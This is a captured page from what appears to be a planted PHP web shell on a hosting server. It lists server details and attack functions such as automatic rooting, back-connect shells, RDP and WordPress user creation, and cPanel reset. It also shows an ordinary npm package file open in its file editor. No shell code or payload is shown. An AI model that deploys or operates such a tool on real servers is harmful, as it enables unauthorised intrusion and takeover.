Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 18.219.89.148
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
alt-nodejs16 /
root /
usr /
lib /
node_modules /
npm /
node_modules.bundled /
npm-packlist /
node_modules /
npm-normalize-package-bin /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
index.js
1.29
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.js
// pass in a manifest with a 'bin' field here, and it'll turn it // into a properly santized bin object const { join, basename } = require('path') const normalize = pkg => !pkg.bin ? removeBin(pkg) : typeof pkg.bin === 'string' ? normalizeString(pkg) : Array.isArray(pkg.bin) ? normalizeArray(pkg) : typeof pkg.bin === 'object' ? normalizeObject(pkg) : removeBin(pkg) const normalizeString = pkg => { if (!pkg.name) { return removeBin(pkg) } pkg.bin = { [pkg.name]: pkg.bin } return normalizeObject(pkg) } const normalizeArray = pkg => { pkg.bin = pkg.bin.reduce((acc, k) => { acc[basename(k)] = k return acc }, {}) return normalizeObject(pkg) } const removeBin = pkg => { delete pkg.bin return pkg } const normalizeObject = pkg => { const orig = pkg.bin const clean = {} let hasBins = false Object.keys(orig).forEach(binKey => { const base = join('/', basename(binKey.replace(/\\|:/g, '/'))).slice(1) if (typeof orig[binKey] !== 'string' || !base) { return } const binTarget = join('/', orig[binKey]) .replace(/\\/g, '/').slice(1) if (!binTarget) { return } clean[base] = binTarget hasBins = true }) if (hasBins) { pkg.bin = clean } else { delete pkg.bin } return pkg } module.exports = normalize
Close